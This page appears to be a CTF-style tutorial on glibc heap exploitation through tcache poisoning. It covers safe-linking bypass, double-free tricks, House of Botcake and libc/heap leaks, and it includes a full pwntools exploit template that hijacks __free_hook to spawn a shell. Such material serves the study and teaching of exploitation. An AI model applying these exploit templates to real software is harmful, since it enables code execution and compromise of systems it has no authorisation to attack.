Tcache Poisoning Deep Dive
Master tcache bin poisoning across glibc versions - safe-linking bypass and full exploit templates.
Tcache Poisoning Deep Dive
Tcache poisoning is the go-to technique for turning a use-after-free or heap overflow into an arbitrary write. By corrupting a freed chunk's forward pointer, you trick malloc into returning a pointer to any address you want.
This page covers the technique across glibc versions. If you're not familiar with how tcache works, read Heap Exploitation first.
How Tcache Works
Tcache (Thread Cache) was added in glibc 2.26. It's a per-thread cache of recently freed small chunks, designed to speed up allocation:
Tcache bins: one bin per size class (0x20 to 0x410, step 0x10)
Each bin: singly-linked list, max 7 entries
On free(ptr): ptr->fd = tcache_bin[size]; tcache_bin[size] = ptr
On malloc(n): ptr = tcache_bin[size]; tcache_bin[size] = ptr->fdThe key: fd is just a pointer to the next free chunk. If you overwrite fd with an address you control, the next malloc returns that address.
Basic Tcache Poisoning (glibc 2.26–2.31)
No integrity checks, no encoding — just overwrite fd:
from pwn import *
# Assume: alloc(n), free(idx), edit(idx, data), show(idx)
# 1. Allocate and free a chunk
alloc(0x30) # chunk 0
free(0) # tcache[0x40] → chunk 0 → NULL
# 2. Overwrite fd via UAF
target = elf.got['puts'] # any address you want
edit(0, p64(target)) # tcache[0x40] → chunk 0 → target
# 3. Allocate twice
alloc(0x30) # pops chunk 0
evil = alloc(0x30) # pops target! malloc returns your address
# 4. Write to target
edit(1, p64(libc.sym['system']))After step 2, the tcache freelist looks like: chunk 0 → target → (garbage). The first malloc returns chunk 0. The second returns target.
Safe-Linking Bypass (glibc 2.32+)
From glibc 2.32, tcache fd pointers are mangled with safe-linking:
stored_fd = (chunk_addr >> 12) ^ real_fdTo write a valid fd, you need to know the chunk's address. This means you need a heap leak first.
Step 1: Leak heap address
alloc(0x30) # chunk 0
free(0) # fd = (chunk_addr >> 12) ^ 0 (first in bin, next is NULL)
leak_raw = u64(show(0)[:8].ljust(8, b'\x00'))
heap_base = leak_raw << 12
log.success(f"Heap @ {hex(heap_base)}")When a chunk is the last in the tcache bin, its fd is 0. So stored_fd = (chunk_addr >> 12) ^ 0 = chunk_addr >> 12. Shifting left by 12 recovers the heap base.
Step 2: Encode the target
chunk_addr = heap_base + 0x... # address of the freed chunk (from GDB)
target = elf.got['puts']
mangled = (chunk_addr >> 12) ^ target
edit(0, p64(mangled))Step 3: Allocate and write
alloc(0x30) # pops chunk 0
evil = alloc(0x30) # returns target
edit(1, p64(libc.sym['system']))Double Free Bypass
glibc 2.29+ added detection: freeing a chunk that's already in tcache triggers an error. Bypasses:
Fill the tcache bin (7 entries), then the next free goes to fastbin. Free the same chunk again into fastbin — different bin, no tcache check:
alloc(0x30) # chunk 0 (victim)
# Fill tcache with 7 other chunks of same size
for i in range(7):
alloc(0x30)
for i in range(1, 8):
free(i)
free(0) # chunk 0 → fastbin (tcache full)
free(0) # chunk 0 again → fastbin double free!After allocating from tcache to make room, you can free chunk 0 into tcache too — now it's in both bins.
House of Botcake (glibc 2.27+)
A technique that combines tcache and unsorted bin to achieve chunk overlap:
# 1. Allocate 7 + 2 chunks of same size
for i in range(9):
alloc(0x30)
# 2. Fill tcache (free 7)
for i in range(7):
free(i)
# 3. Free chunk A → unsorted bin (tcache full)
free(7) # chunk A
# 4. Free chunk B → goes to tcache (now has 1 entry)
free(8) # chunk B
# 5. Allocate 1 from tcache → makes room
alloc(0x30)
# 6. Free chunk A again → A goes to tcache
# Now A is in both unsorted bin AND tcache!
free(7)
# 7. Allocate to get A from tcache, then edit to overlap with B
alloc(0x30) # gets A
# Now A's data area overlaps with B's header
# Overwrite B's size/fd to control future allocationsThis is useful when you need chunk overlap but can't do a simple double free due to glibc checks.
Libc Leak from Tcache
Tcache chunks don't have libc pointers. To leak libc, free a chunk that's too large for tcache — it goes to the unsorted bin:
alloc(0x500) # large chunk (above tcache max)
alloc(0x20) # guard (prevents merging with top chunk)
free(0) # → unsorted bin → fd/bk = main_arena+96
leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = leak - libc.sym['main_arena'] - 96glibc Version Cheat Sheet
| Version | Tcache features | What you need |
|---|---|---|
| < 2.26 | No tcache | Fastbin attacks instead |
| 2.26–2.28 | Tcache, no checks | Basic poisoning, easy double free |
| 2.29–2.31 | Double-free detection | Fill tcache or corrupt count |
| 2.32–2.33 | Safe-linking | Heap leak first, then encode fd |
| 2.34+ | Safe-linking, no hooks | Heap leak + FSOP/House of Apple |
Full Exploit Template
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# 1. Leak heap (UAF on tcache chunk)
alloc(0x30)
free(0)
heap_raw = u64(show(0)[:8].ljust(8, b'\x00'))
heap = heap_raw << 12
log.success(f"Heap @ {hex(heap)}")
# 2. Leak libc (free large chunk to unsorted bin)
alloc(0x500); alloc(0x20)
free(0)
libc_leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['main_arena'] - 96
log.success(f"libc @ {hex(libc.address)}")
# 3. Tcache poisoning
alloc(0x30)
free(2)
# Safe-linking encode (glibc 2.32+)
target = libc.sym['__free_hook'] # glibc < 2.34
chunk_addr = heap + 0x... # find exact offset in GDB
mangled = (chunk_addr >> 12) ^ target
edit(2, p64(mangled))
alloc(0x30) # pop victim
evil = alloc(0x30) # allocated at target!
edit(evil, p64(libc.sym['system']))
# 4. Trigger
alloc(0x30)
edit(last, b'/bin/sh\x00')
free(last) # calls free_hook("/bin/sh") = system("/bin/sh")
p.interactive()Checklist
- Identify glibc version (
strings libc.so.6 | grep "GNU C Library") - glibc < 2.32: basic poisoning (no encoding needed)
- glibc 2.32+: need heap leak for safe-linking bypass
- glibc < 2.34: overwrite
__free_hookor__malloc_hook - glibc 2.34+: hooks removed → use FSOP or House of Apple
- Get libc leak: free 0x500+ chunk, read
fdfrom unsorted bin - Get heap leak: free 0x30 chunk, read mangled
fd, shift left 12 - Double free? Fill tcache first or corrupt count field
- Reference: shellphish/how2heap
Last updated on